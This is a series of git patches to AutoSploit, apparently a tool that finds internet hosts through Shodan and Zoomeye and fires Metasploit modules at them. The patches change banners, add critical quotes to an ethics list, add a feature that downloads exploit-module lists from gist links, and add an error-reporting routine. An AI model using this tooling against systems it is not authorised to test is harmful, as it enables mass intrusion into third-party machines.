From bd672f79ac4db25871a4f25bf2d0154b2c821f6f Mon Sep 17 00:00:00 2001 From: ekultek Date: Mon, 11 Jun 2018 16:44:23 -0500 Subject: [PATCH 01/77] some minor updates to styling and what not --- autosploit/main.py | 2 +- etc/text_files/ethics.lst | 4 ++- lib/banner.py | 70 ++++++++++++++++++++++++++++++++++----- lib/cmdline/cmd.py | 5 +-- lib/jsonize.py | 10 +++++- lib/settings.py | 1 + lib/term/terminal.py | 3 +- 7 files changed, 81 insertions(+), 14 deletions(-) diff --git a/autosploit/main.py b/autosploit/main.py index b4b2cfa..dc8da27 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -73,7 +73,7 @@ def main(): except psutil.NoSuchProcess: pass else: - process_start_command = "`sudo service {} start`" + process_start_command = "`sudo systemctl {} start`" if "darwin" in platform_running.lower(): process_start_command = "`brew services start {}`" close( diff --git a/etc/text_files/ethics.lst b/etc/text_files/ethics.lst index 03cc3bc..fcdf3ca 100644 --- a/etc/text_files/ethics.lst +++ b/etc/text_files/ethics.lst @@ -9,4 +9,6 @@ "This provides an unending opportunity for cybercriminals and script kiddies to hijack vulnerable devices and subsequently launch attacks against online organizations with ease" "Both Metasploit and Shodan have been available for years, as integral to the pen testers toolkit as Nessus and Burpsuite. But with Autosploit pulling them together, the concern should be focused on curious kids thinking it would be fun to see what they can find" "My fear is that this has magnified the attack surface, and made it so that every exposed service on the internet will be scanned and probed on a near-constant basis by an entirely new set of attackers." -"The release of tools like these exponentially expands the threat landscape by allowing a wider group of hackers to launch global attacks at will" \ No newline at end of file +"The release of tools like these exponentially expands the threat landscape by allowing a wider group of hackers to launch global attacks at will" +"Good to know we’ve weaponized for the masses. Everyone can now be a script kiddie simply by plugging, playing and attacking." +"The fact that something is really easy, does not make unauthorized computer access any less a crime. And tools like this leave a forensic footprint that is miles wide. Yes, you can compromise poorly protected systems very easily with this tool, but you can also end up in a lot of trouble." \ No newline at end of file diff --git a/lib/banner.py b/lib/banner.py index daf7f02..ae56637 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -2,6 +2,13 @@ import random VERSION = "2.2" +COLOR_CODEX = { + "red": "\033[31m", "bright red": "\033[1m\033[31m", + "blue": "\033[36m", "bright blue": "\033[1m\033[36m", + "green": "\033[32m", "bright green": "\033[1m\033[32m", + "grey": "\033[37m", "white": "\033[1m\033[38m", + "end": "\033[0m" +} def banner_1(line_sep="#--", space=" " * 30): @@ -25,9 +32,11 @@ def banner_2(): {blue}--+{end} {red}AutoSploit{end} {blue}+--{end} {blue}--+{end} NullArray/Eku {blue}+--{end} {blue}--+{end}{minor_space2} v({red}{vnum}{end}){minor_space} {blue}+--{end} - """.format(vnum=VERSION, blue="\033[36m", red="\033[31m", end="\033[0m", - minor_space=" " * 1 if len(VERSION) == 3 else "", - minor_space2=" " * 1 if len(VERSION) == 3 else "") + """.format( + vnum=VERSION, blue=COLOR_CODEX["blue"], red=COLOR_CODEX["red"], end=COLOR_CODEX["end"], + minor_space=" " * 1 if len(VERSION) == 3 else "", + minor_space2=" " * 1 if len(VERSION) == 3 else "" + ) return banner @@ -57,7 +66,7 @@ def banner_3(): | / | | \ \__ | \__ /\____=\ /\_____=\{end} v({vnum})'''''.format( - green="\033[1m\033[32m", end="\033[0m", vnum=VERSION + green=COLOR_CODEX["bright green"], end=COLOR_CODEX["end"], vnum=VERSION ) return banner @@ -81,8 +90,10 @@ def banner_4(): {blue}-----+ v({red}{vnum}{end}{blue}){spacer}+-----{end} {blue}-----------NullArray/Eku----------{end} {blue}__________________________________{end} - """.format(vnum=VERSION, blue="\033[36m", red="\033[31m", end="\033[0m", - spacer=" " * 9 if len(VERSION) == 3 else " " * 7) + """.format( + vnum=VERSION, blue=COLOR_CODEX["blue"], red=COLOR_CODEX["red"], end=COLOR_CODEX["end"], + spacer=" " * 9 if len(VERSION) == 3 else " " * 7 + ) return banner @@ -103,7 +114,50 @@ def banner_5(): {grey}| |{end} {grey}`-.___.-'{end} v({red}{version}{end}) - """.format(end="\033[0m", grey="\033[36m", white="\033[37m", version=VERSION, red="\033[31m") + """.format( + end=COLOR_CODEX["end"], grey=COLOR_CODEX["grey"], white=COLOR_CODEX["white"], + version=VERSION, red=COLOR_CODEX["red"] + ) + return banner + + +def banner_6(): + banner = r"""{red} + ________ _____ _____.__ __ .__ + / _____/___________ _/ ____\/ ____\__|/ |_|__| +/ \ __\_ __ \__ \\ __\\ __\| \ __\ | +\ \_\ \ | \// __ \| | | | | || | | | + \______ /__| (____ /__| |__| |__||__| |__| + \/ \/{end}{green} +___________.__ +\__ ___/| |__ ____ + | | | | \_/ __ \ + | | | Y \ ___/ + |____| |___| /\___ > + \/ \/{blue} + __ __ .__ .___ +/ \ / \___________| | __| _/ +\ \/\/ / _ \_ __ \ | / __ | + \ ( <_> ) | \/ |__/ /_/ | + \__/\ / \____/|__| |____/\____ | + \/ \/{end}{grey} + __ __.__ __ .__ +/ \ / \__|/ |_| |__ +\ \/\/ / \ __\ | \ + \ /| || | | Y \ + \__/\ / |__||__| |___| / + \/ \/{end}{white} +___________ .__ .__ __ +\_ _____/__ _________ | | ____ |__|/ |_ ______ + | __)_\ \/ /\____ \| | / _ \| \ __\/ ___/ + | \> < | |_> > |_( <_> ) || | \___ \ +/_______ /__/\_ \| __/|____/\____/|__||__| /____ > + \/ \/|__| \/ {end} +{white}v{version}->NullArray/Eku{end}""".format( + end=COLOR_CODEX["end"], grey=COLOR_CODEX["grey"], white=COLOR_CODEX["white"], + version=VERSION, red=COLOR_CODEX["bright red"], green=COLOR_CODEX["bright green"], + blue=COLOR_CODEX["bright blue"] + ) return banner @@ -112,7 +166,7 @@ def banner_main(): grab a random banner each run """ banners = [ - banner_5, banner_4, + banner_6, banner_5, banner_4, banner_3, banner_2, banner_1 ] if os.getenv("Graffiti", False): diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index 3bdf024..40fd716 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -43,7 +43,8 @@ def optparser(): help="search all available search engines to gather hosts") save_results_args = se.add_mutually_exclusive_group(required=False) save_results_args.add_argument("-O", "--overwrite", action="store_true", dest="overwriteHosts", - help="When specified, start from scratch by overwriting the host file with new search results.") + help="When specified, start from scratch by overwriting the host " + "file with new search results.") save_results_args.add_argument("-A", "--append", action="store_true", dest="appendHosts", help="When specified, append discovered hosts to the host file.") @@ -77,7 +78,7 @@ def optparser(): misc.add_argument("--ethics", action="store_true", dest="displayEthics", help=argparse.SUPPRESS) # easter egg! misc.add_argument("--whitelist", metavar="PATH", dest="whitelist", - help="only exploit hosts listed in the whitelist file") + help="only exploit hosts listed in the whitelist file") opts = parser.parse_args() return opts diff --git a/lib/jsonize.py b/lib/jsonize.py index 39b08a8..e38caaa 100644 --- a/lib/jsonize.py +++ b/lib/jsonize.py @@ -48,9 +48,17 @@ def load_exploits(path, node="exploits"): """ retval = [] file_list = os.listdir(path) + exploit_files = [] if len(file_list) != 1: - lib.output.info("total of {} exploit files discovered for use, select one:".format(len(file_list))) for i, f in enumerate(file_list, start=1): + # we're going to go ahead and make sure that the file is not a directory + # this will allow us to create directories and fill them with JSON data + # in the future + if os.path.isfile(os.path.join(path, f)): + exploit_files.append(f) + # after we've done that, we'll go ahead and continue with what we where doing + lib.output.info("total of {} exploit files discovered for use, select one:".format(len(exploit_files))) + for i, f in enumerate(exploit_files, start=1): print("{}. '{}'".format(i, f[:-5])) action = raw_input(lib.settings.AUTOSPLOIT_PROMPT) selected_file = file_list[int(action) - 1] diff --git a/lib/settings.py b/lib/settings.py index 3f1250f..eaa9aab 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -253,6 +253,7 @@ def close(warning, status=1): lib.output.error(warning) sys.exit(status) + def grab_random_agent(): """ get a random HTTP User-Agent diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 7396b45..25c7f1c 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -1,8 +1,10 @@ import os import sys +import tempfile import lib.settings import lib.output +import lib.errors import lib.exploitation.exploiter import api_calls.shodan import api_calls.zoomeye @@ -240,7 +242,6 @@ def exploit_gathered_hosts(self, loaded_mods, hosts=None): except AttributeError: lib.output.warning("unable to sort modules by relevance") - def custom_host_list(self, mods): """ provided a custom host list that will be used for exploitation From a3f7d310c88130ee83f3d774a43715187e084915 Mon Sep 17 00:00:00 2001 From: ekultek Date: Mon, 11 Jun 2018 16:55:26 -0500 Subject: [PATCH 02/77] if you're running arch you need to do some configuration --- etc/scripts/start_services.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/etc/scripts/start_services.sh b/etc/scripts/start_services.sh index 46195cc..161888a 100755 --- a/etc/scripts/start_services.sh +++ b/etc/scripts/start_services.sh @@ -1,6 +1,9 @@ #!/bin/bash function startApacheLinux () { + # NOTE: if you are running on Arch uncomment this + #sudo systemctl start apache > /dev/null 2>&1 + # and comment this one out sudo systemctl start apache2 > /dev/null 2>&1 } From 3d363d3d9832cae9c73ff87d9339de044d496e9e Mon Sep 17 00:00:00 2001 From: ekultek Date: Thu, 19 Jul 2018 15:46:26 -0500 Subject: [PATCH 03/77] you are now able to download modules, see the etc/text_files/links.txt file for links to the mods --- autosploit/main.py | 13 ++++++- etc/text_files/links.txt | 12 +++++++ lib/banner.py | 74 ++++++---------------------------------- lib/cmdline/cmd.py | 9 +++-- lib/jsonize.py | 17 ++++----- lib/settings.py | 51 +++++++++++++++++++++++++++ lib/term/terminal.py | 5 ++- 7 files changed, 99 insertions(+), 82 deletions(-) create mode 100644 etc/text_files/links.txt diff --git a/autosploit/main.py b/autosploit/main.py index dc8da27..a2d27de 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -18,6 +18,7 @@ check_services, cmdline, close, + download_modules_list, EXPLOIT_FILES_PATH, START_SERVICES_PATH ) @@ -40,6 +41,16 @@ def main(): opts = AutoSploitParser().optparser() + if opts.downloadModules is not None: + info("downloading modules") + for search in opts.downloadModules: + downloaded = download_modules_list(search) + info("downloaded {} file(s)".format(len(downloaded))) + for f in downloaded: + print("=> {}".format(f)) + info("new exploit paths have been added to JSON files, re-run autosploit to access them") + exit(1) + logo() info("welcome to autosploit, give us a little bit while we configure") misc_info("checking your running platform") @@ -73,7 +84,7 @@ def main(): except psutil.NoSuchProcess: pass else: - process_start_command = "`sudo systemctl {} start`" + process_start_command = "`sudo service {} start`" if "darwin" in platform_running.lower(): process_start_command = "`brew services start {}`" close( diff --git a/etc/text_files/links.txt b/etc/text_files/links.txt new file mode 100644 index 0000000..d9f8f5f --- /dev/null +++ b/etc/text_files/links.txt @@ -0,0 +1,12 @@ +https://gist.githubusercontent.com/Ekultek/f51e6d61817721aa9341a1f1e66d3602/raw/82dfa8234d2f744c99bc277a1c73efc39770cff6/wordpress_exploits.txt +https://gist.githubusercontent.com/Ekultek/76202c6fa170d6da501da5ab303f01f0/raw/da5205919f1a47f2ccc9c75ab26e1456ad91d3d4/all_exploits.txt +https://gist.githubusercontent.com/Ekultek/e04f27632d40bf10da338b61b8416f95/raw/8c949dd2aa8047ded828b1220e13101b6f28d9ab/linux_exploits.txt +https://gist.githubusercontent.com/Ekultek/d4658fe488f9edafe2b2edc1910e1983/raw/13c21c0ed20b4b10df79b93566fdd111df77f1ed/windows_exploits.txt +https://gist.githubusercontent.com/Ekultek/219036c05e21d8352b4181cbe3df5f4f/raw/0e907b387fa2b35dc75cb94120172155d8d3eb3e/smb_exploits.txt +https://gist.githubusercontent.com/Ekultek/066e1c9285f2a60d2b7103b4d1972864/raw/03d06809a3d79d51f19e3d0c77fb9783f961c485/samba_exploits.txt +https://gist.githubusercontent.com/Ekultek/e9a5c7d37fc58b77bed241d8f2811e8a/raw/789839b93c2c8ce7cc6240cafedfa8e30c2ae4e1/all_rce_exploits.txt +https://gist.githubusercontent.com/Ekultek/c69a01e688ed1739d9e572722ea37ed5/raw/63ead0225784de9389059745b1c869face015d7c/2018_rce_exploits.txt +https://gist.githubusercontent.com/Ekultek/6d1d2d0a83715cb0314fead1ff2768a1/raw/b4fb17df1c3c09464741547ccff674262168a015/excellent_exploits.txt +https://gist.githubusercontent.com/Ekultek/4a06da7d69f8f7f24542f7e978ad67a5/raw/5623ac8b9e4dc8e246e013dc7d7e2b5a31948d78/os_command_exploits.txt +https://gist.githubusercontent.com/Ekultek/2d7e0d98b37b1d06676d409fe0c5b899/raw/f4fe9b3c400dcf86a8147fd903a6ee13e3fbe5f5/buffer_overflow_exploit.txt +https://gist.githubusercontent.com/Ekultek/fdac157e66b82fea3075d2149e9aa1d3/raw/c5002d9c9e2918084e16b83fc1a9af06cf26bd05/osx_exploits.txt \ No newline at end of file diff --git a/lib/banner.py b/lib/banner.py index ae56637..5e39814 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,14 +1,7 @@ import os import random -VERSION = "2.2" -COLOR_CODEX = { - "red": "\033[31m", "bright red": "\033[1m\033[31m", - "blue": "\033[36m", "bright blue": "\033[1m\033[36m", - "green": "\033[32m", "bright green": "\033[1m\033[32m", - "grey": "\033[37m", "white": "\033[1m\033[38m", - "end": "\033[0m" -} +VERSION = "2.2.1" def banner_1(line_sep="#--", space=" " * 30): @@ -32,11 +25,9 @@ def banner_2(): {blue}--+{end} {red}AutoSploit{end} {blue}+--{end} {blue}--+{end} NullArray/Eku {blue}+--{end} {blue}--+{end}{minor_space2} v({red}{vnum}{end}){minor_space} {blue}+--{end} - """.format( - vnum=VERSION, blue=COLOR_CODEX["blue"], red=COLOR_CODEX["red"], end=COLOR_CODEX["end"], - minor_space=" " * 1 if len(VERSION) == 3 else "", - minor_space2=" " * 1 if len(VERSION) == 3 else "" - ) + """.format(vnum=VERSION, blue="\033[36m", red="\033[31m", end="\033[0m", + minor_space=" " * 1 if len(VERSION) == 3 else "", + minor_space2=" " * 1 if len(VERSION) == 3 else "") return banner @@ -66,11 +57,11 @@ def banner_3(): | / | | \ \__ | \__ /\____=\ /\_____=\{end} v({vnum})'''''.format( - green=COLOR_CODEX["bright green"], end=COLOR_CODEX["end"], vnum=VERSION + green="\033[1m\033[32m", end="\033[0m", vnum=VERSION ) return banner - + def banner_4(): banner = r""" {red} .__. , __. . , {end} @@ -90,10 +81,8 @@ def banner_4(): {blue}-----+ v({red}{vnum}{end}{blue}){spacer}+-----{end} {blue}-----------NullArray/Eku----------{end} {blue}__________________________________{end} - """.format( - vnum=VERSION, blue=COLOR_CODEX["blue"], red=COLOR_CODEX["red"], end=COLOR_CODEX["end"], - spacer=" " * 9 if len(VERSION) == 3 else " " * 7 - ) + """.format(vnum=VERSION, blue="\033[36m", red="\033[31m", end="\033[0m", + spacer=" " * 9 if len(VERSION) == 3 else " " * 7) return banner @@ -114,50 +103,7 @@ def banner_5(): {grey}| |{end} {grey}`-.___.-'{end} v({red}{version}{end}) - """.format( - end=COLOR_CODEX["end"], grey=COLOR_CODEX["grey"], white=COLOR_CODEX["white"], - version=VERSION, red=COLOR_CODEX["red"] - ) - return banner - - -def banner_6(): - banner = r"""{red} - ________ _____ _____.__ __ .__ - / _____/___________ _/ ____\/ ____\__|/ |_|__| -/ \ __\_ __ \__ \\ __\\ __\| \ __\ | -\ \_\ \ | \// __ \| | | | | || | | | - \______ /__| (____ /__| |__| |__||__| |__| - \/ \/{end}{green} -___________.__ -\__ ___/| |__ ____ - | | | | \_/ __ \ - | | | Y \ ___/ - |____| |___| /\___ > - \/ \/{blue} - __ __ .__ .___ -/ \ / \___________| | __| _/ -\ \/\/ / _ \_ __ \ | / __ | - \ ( <_> ) | \/ |__/ /_/ | - \__/\ / \____/|__| |____/\____ | - \/ \/{end}{grey} - __ __.__ __ .__ -/ \ / \__|/ |_| |__ -\ \/\/ / \ __\ | \ - \ /| || | | Y \ - \__/\ / |__||__| |___| / - \/ \/{end}{white} -___________ .__ .__ __ -\_ _____/__ _________ | | ____ |__|/ |_ ______ - | __)_\ \/ /\____ \| | / _ \| \ __\/ ___/ - | \> < | |_> > |_( <_> ) || | \___ \ -/_______ /__/\_ \| __/|____/\____/|__||__| /____ > - \/ \/|__| \/ {end} -{white}v{version}->NullArray/Eku{end}""".format( - end=COLOR_CODEX["end"], grey=COLOR_CODEX["grey"], white=COLOR_CODEX["white"], - version=VERSION, red=COLOR_CODEX["bright red"], green=COLOR_CODEX["bright green"], - blue=COLOR_CODEX["bright blue"] - ) + """.format(end="\033[0m", grey="\033[36m", white="\033[37m", version=VERSION, red="\033[31m") return banner @@ -166,7 +112,7 @@ def banner_main(): grab a random banner each run """ banners = [ - banner_6, banner_5, banner_4, + banner_5, banner_4, banner_3, banner_2, banner_1 ] if os.getenv("Graffiti", False): diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index 40fd716..467cd5a 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -43,8 +43,7 @@ def optparser(): help="search all available search engines to gather hosts") save_results_args = se.add_mutually_exclusive_group(required=False) save_results_args.add_argument("-O", "--overwrite", action="store_true", dest="overwriteHosts", - help="When specified, start from scratch by overwriting the host " - "file with new search results.") + help="When specified, start from scratch by overwriting the host file with new search results.") save_results_args.add_argument("-A", "--append", action="store_true", dest="appendHosts", help="When specified, append discovered hosts to the host file.") @@ -78,7 +77,9 @@ def optparser(): misc.add_argument("--ethics", action="store_true", dest="displayEthics", help=argparse.SUPPRESS) # easter egg! misc.add_argument("--whitelist", metavar="PATH", dest="whitelist", - help="only exploit hosts listed in the whitelist file") + help="only exploit hosts listed in the whitelist file") + misc.add_argument("-D", "--download", nargs="+", metavar="SEARCH1 SEARCH2 ...", dest="downloadModules", + help="download new exploit modules with a provided search flag") opts = parser.parse_args() return opts @@ -139,6 +140,8 @@ def single_run_args(opt, keys, loaded_modules): lib.settings.close( "You should take this ethical lesson into consideration " "before you continue with the use of this tool:\n\n{}\n".format(ethic)) + if opt.downloadModules is not None: + print "downloading MODULES!" if opt.exploitList: try: lib.output.info("converting {} to JSON format".format(opt.exploitList)) diff --git a/lib/jsonize.py b/lib/jsonize.py index e38caaa..245020d 100644 --- a/lib/jsonize.py +++ b/lib/jsonize.py @@ -48,17 +48,9 @@ def load_exploits(path, node="exploits"): """ retval = [] file_list = os.listdir(path) - exploit_files = [] if len(file_list) != 1: + lib.output.info("total of {} exploit files discovered for use, select one:".format(len(file_list))) for i, f in enumerate(file_list, start=1): - # we're going to go ahead and make sure that the file is not a directory - # this will allow us to create directories and fill them with JSON data - # in the future - if os.path.isfile(os.path.join(path, f)): - exploit_files.append(f) - # after we've done that, we'll go ahead and continue with what we where doing - lib.output.info("total of {} exploit files discovered for use, select one:".format(len(exploit_files))) - for i, f in enumerate(exploit_files, start=1): print("{}. '{}'".format(i, f[:-5])) action = raw_input(lib.settings.AUTOSPLOIT_PROMPT) selected_file = file_list[int(action) - 1] @@ -77,7 +69,7 @@ def load_exploits(path, node="exploits"): return retval -def text_file_to_dict(path): +def text_file_to_dict(path, filename=None): """ take a text file path, and load all of the information into a `dict` send that `dict` into a JSON format and save it into a file. it will @@ -89,7 +81,10 @@ def text_file_to_dict(path): for exploit in exploits.readlines(): # load everything into the dict start_dict["exploits"].append(exploit.strip()) - filename_path = "{}/etc/json/{}.json".format(os.getcwd(), random_file_name()) + if filename is None: + filename_path = "{}/etc/json/{}.json".format(os.getcwd(), random_file_name()) + else: + filename_path = filename with open(filename_path, "a+") as exploits: # sort and indent to make it look pretty _data = json.dumps(start_dict, indent=4, sort_keys=True) diff --git a/lib/settings.py b/lib/settings.py index eaa9aab..883c892 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -31,8 +31,12 @@ # one bash script to rule them all takes an argument via the operating system START_SERVICES_PATH = "{}/etc/scripts/start_services.sh".format(CUR_DIR) +# rc script path RC_SCRIPTS_PATH = "{}/autosploit_out/".format(CUR_DIR) +# links to all the downloadable modules +MODULE_DOWNLOAD_LINKS = "{}/etc/text_files/links.txt".format(CUR_DIR) + # path to the file that will contain our query QUERY_FILE_PATH = tempfile.NamedTemporaryFile(delete=False).name @@ -293,3 +297,50 @@ def configure_requests(proxy=None, agent=None, rand_agent=False): } return proxy_dict, header_dict + + +def download_modules_list(search_string): + """ + download msf exploit module paths + """ + import re + import requests + import lib.jsonize + try: + from bs4 import BeautifulSoup + except ImportError: + close("in order to install modules you will need to install BeautifulSoup: `pip install beautifulsoup4`") + + related = [] + downloaded_files = [] + + with open(MODULE_DOWNLOAD_LINKS) as downloads: + for link in downloads.readlines(): + if search_string == "all": + related.append(link.strip()) + else: + searcher = re.compile(search_string, re.I) + discovered = searcher.findall(link) + if len(discovered) != 0: + related.append(link.strip()) + lib.output.info("discovered a total of {} relevant file(s)".format(len(related))) + for link in related: + filepath = "{}/{}".format(EXPLOIT_FILES_PATH, link.split("/")[-1].replace(".txt", ".json")) + if not os.path.exists(filepath): + req = requests.get(link) + random_temp_file_for_download = "/tmp/{}.AS".format(lib.jsonize.random_file_name()) + raw_content = req.content + with open(random_temp_file_for_download, "a+") as tmp: + raw_exploits = raw_content.split("\n") + length = len(raw_exploits) + lib.output.info("downloading a total of {} module paths".format(length)) + for i, line in enumerate(raw_exploits): + tmp.write(line.split(" ")[3] + os.linesep) + tmp.seek(0) + lib.jsonize.text_file_to_dict(random_temp_file_for_download, filename=filepath) + lib.output.misc_info("removing created tmp file: '{}'".format(random_temp_file_for_download)) + os.remove(random_temp_file_for_download) + downloaded_files.append(filepath) + else: + lib.output.warning("file: '{}' already exists, skipping".format(filepath)) + return downloaded_files diff --git a/lib/term/terminal.py b/lib/term/terminal.py index 25c7f1c..8cf1aae 100644 --- a/lib/term/terminal.py +++ b/lib/term/terminal.py @@ -1,10 +1,8 @@ import os import sys -import tempfile import lib.settings import lib.output -import lib.errors import lib.exploitation.exploiter import api_calls.shodan import api_calls.zoomeye @@ -242,6 +240,7 @@ def exploit_gathered_hosts(self, loaded_mods, hosts=None): except AttributeError: lib.output.warning("unable to sort modules by relevance") + def custom_host_list(self, mods): """ provided a custom host list that will be used for exploitation @@ -312,11 +311,11 @@ def __config_headers(): with open(lib.settings.QUERY_FILE_PATH, "w") as _query: _query.write(query) except AttributeError: + import tempfile # oooops filename = tempfile.NamedTemporaryFile(delete=False).name with open(filename, "w") as _query: _query.write(query) lib.settings.QUERY_FILE_PATH = filename - print lib.settings.QUERY_FILE_PATH proxy, agent = __config_headers() # possibly needs to change here (see TODO[2]) self.gather_hosts(query, proxy=proxy, agent=agent) From b45e4738bd23dc3aa76541143b9bc7e938c46584 Mon Sep 17 00:00:00 2001 From: ekultek Date: Thu, 19 Jul 2018 15:51:02 -0500 Subject: [PATCH 04/77] minor update for an issue with downloading --- .gitignore | 1 + lib/settings.py | 5 ++++- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/.gitignore b/.gitignore index 302e263..46e0072 100644 --- a/.gitignore +++ b/.gitignore @@ -7,3 +7,4 @@ uid.p etc/tokens/* autosploit_out/* venv/* +etc/json/* diff --git a/lib/settings.py b/lib/settings.py index 883c892..540c5dc 100644 --- a/lib/settings.py +++ b/lib/settings.py @@ -335,7 +335,10 @@ def download_modules_list(search_string): length = len(raw_exploits) lib.output.info("downloading a total of {} module paths".format(length)) for i, line in enumerate(raw_exploits): - tmp.write(line.split(" ")[3] + os.linesep) + try: + tmp.write(line.split(" ")[3] + os.linesep) + except IndexError: + pass tmp.seek(0) lib.jsonize.text_file_to_dict(random_temp_file_for_download, filename=filepath) lib.output.misc_info("removing created tmp file: '{}'".format(random_temp_file_for_download)) From fe6e345f33fc75494a89a7dade12e571ad30372f Mon Sep 17 00:00:00 2001 From: ekultek Date: Tue, 2 Oct 2018 13:55:30 -0500 Subject: [PATCH 05/77] created an automatic issue creator --- autosploit/main.py | 164 +++++++++++++++++---------------- etc/text_files/auth.key | 1 + lib/creation/__init__.py | 0 lib/creation/issue_creator.py | 167 ++++++++++++++++++++++++++++++++++ lib/exploitation/exploiter.py | 4 +- lib/settings.py | 73 +++++---------- requirements.txt | 1 + 7 files changed, 284 insertions(+), 126 deletions(-) create mode 100644 etc/text_files/auth.key create mode 100644 lib/creation/__init__.py create mode 100644 lib/creation/issue_creator.py diff --git a/autosploit/main.py b/autosploit/main.py index a2d27de..4952d80 100644 --- a/autosploit/main.py +++ b/autosploit/main.py @@ -6,6 +6,10 @@ from lib.cmdline.cmd import AutoSploitParser from lib.term.terminal import AutoSploitTerminal +from lib.creation.issue_creator import ( + request_issue_creation, + hide_sensitive +) from lib.output import ( info, warning, @@ -18,9 +22,9 @@ check_services, cmdline, close, - download_modules_list, EXPLOIT_FILES_PATH, - START_SERVICES_PATH + START_SERVICES_PATH, + save_error_to_file, ) from lib.jsonize import ( load_exploits, @@ -29,91 +33,99 @@ def main(): - try: - is_admin = os.getuid() == 0 - except AttributeError: - # we'll make it cross platform because it seems like a cool idea - is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 - if not is_admin: - close("must have admin privileges to run") + try: + is_admin = os.getuid() == 0 + except AttributeError: + # we'll make it cross platform because it seems like a cool idea + is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 - opts = AutoSploitParser().optparser() + if not is_admin: + close("must have admin privileges to run") - if opts.downloadModules is not None: - info("downloading modules") - for search in opts.downloadModules: - downloaded = download_modules_list(search) - info("downloaded {} file(s)".format(len(downloaded))) - for f in downloaded: - print("=> {}".format(f)) - info("new exploit paths have been added to JSON files, re-run autosploit to access them") - exit(1) + opts = AutoSploitParser().optparser() - logo() - info("welcome to autosploit, give us a little bit while we configure") - misc_info("checking your running platform") - platform_running = platform.system() - misc_info("checking for disabled services") - # according to ps aux, postgre and apache2 are the names of the services on Linux systems - service_names = ("postgres", "apache2") - if "darwin" in platform_running.lower(): - service_names = ("postgres", "apachectl") + logo() + info("welcome to autosploit, give us a little bit while we configure") + misc_info("checking your running platform") + platform_running = platform.system() + misc_info("checking for disabled services") + # according to ps aux, postgre and apache2 are the names of the services on Linux systems + service_names = ("postgres", "apache2") + if "darwin" in platform_running.lower(): + service_names = ("postgres", "apachectl") - for service in list(service_names): - while not check_services(service): - choice = prompt( - "it appears that service {} is not enabled, would you like us to enable it for you[y/N]".format( - service.title() + for service in list(service_names): + while not check_services(service): + choice = prompt( + "it appears that service {} is not enabled, would you like us to enable it for you[y/N]".format( + service.title() + ) ) - ) - if choice.lower().startswith("y"): - try: - if "darwin" in platform_running.lower(): - cmdline("{} darwin".format(START_SERVICES_PATH)) - elif "linux" in platform_running.lower(): - cmdline("{} linux".format(START_SERVICES_PATH)) - else: - close("your platform is not supported by AutoSploit at this time", status=2) + if choice.lower().startswith("y"): + try: + if "darwin" in platform_running.lower(): + cmdline("{} darwin".format(START_SERVICES_PATH)) + elif "linux" in platform_running.lower(): + cmdline("{} linux".format(START_SERVICES_PATH)) + else: + close("your platform is not supported by AutoSploit at this time", status=2) - # moving this back because it was funky to see it each run - info("services started successfully") - # this tends to show up when trying to start the services - # I'm not entirely sure why, but this fixes it - except psutil.NoSuchProcess: - pass - else: - process_start_command = "`sudo service {} start`" - if "darwin" in platform_running.lower(): - process_start_command = "`brew services start {}`" - close( - "service {} is required to be started for autosploit to run successfully (you can do it manually " - "by using the command {}), exiting".format( - service.title(), process_start_command.format(service) + # moving this back because it was funky to see it each run + info("services started successfully") + # this tends to show up when trying to start the services + # I'm not entirely sure why, but this fixes it + except psutil.NoSuchProcess: + pass + else: + process_start_command = "`sudo service {} start`" + if "darwin" in platform_running.lower(): + process_start_command = "`brew services start {}`" + close( + "service {} is required to be started for autosploit to run successfully (you can do it manually " + "by using the command {}), exiting".format( + service.title(), process_start_command.format(service) + ) ) - ) - if len(sys.argv) > 1: - info("attempting to load API keys") - loaded_tokens = load_api_keys() - AutoSploitParser().parse_provided(opts) + if len(sys.argv) > 1: + info("attempting to load API keys") + loaded_tokens = load_api_keys() + AutoSploitParser().parse_provided(opts) + + if not opts.exploitFile: + misc_info("checking if there are multiple exploit files") + loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) + else: + loaded_exploits = load_exploit_file(opts.exploitFile) + misc_info("Loaded {} exploits from {}.".format( + len(loaded_exploits), + opts.exploitFile)) - if not opts.exploitFile: + AutoSploitParser().single_run_args(opts, loaded_tokens, loaded_exploits) + else: + warning( + "no arguments have been parsed, defaulting to terminal session. " + "press 99 to quit and help to get help" + ) misc_info("checking if there are multiple exploit files") loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) - else: - loaded_exploits = load_exploit_file(opts.exploitFile) - misc_info("Loaded {} exploits from {}.".format( - len(loaded_exploits), - opts.exploitFile)) + info("attempting to load API keys") + loaded_tokens = load_api_keys() + terminal = AutoSploitTerminal(loaded_tokens) + terminal.terminal_main_display(loaded_exploits) + except Exception as e: + import traceback + + print( + "\033[31m[!] AutoSploit has hit an unhandled exception: '{}', " + "in order for the developers to troubleshoot and repair the " + "issue AutoSploit will need to gather your OS information, metasploit version, " + "current arguments, the error message, and a traceback. " + "None of this information can be used to identify you in any way\033[0m".format(str(e)) + ) + error_traceback = ''.join(traceback.format_tb(sys.exc_info()[2])) + error_file = save_error_to_file(str(error_traceback)) + request_issue_creation(error_file, hide_sensitive(), str(e)) - AutoSploitParser().single_run_args(opts, loaded_tokens, loaded_exploits) - else: - warning("no arguments have been parsed, defaulting to terminal session. press 99 to quit and help to get help") - misc_info("checking if there are multiple exploit files") - loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) - info("attempting to load API keys") - loaded_tokens = load_api_keys() - terminal = AutoSploitTerminal(loaded_tokens) - terminal.terminal_main_display(loaded_exploits) diff --git a/etc/text_files/auth.key b/etc/text_files/auth.key new file mode 100644 index 0000000..6f2bc01 --- /dev/null +++ b/etc/text_files/auth.key @@ -0,0 +1 @@ 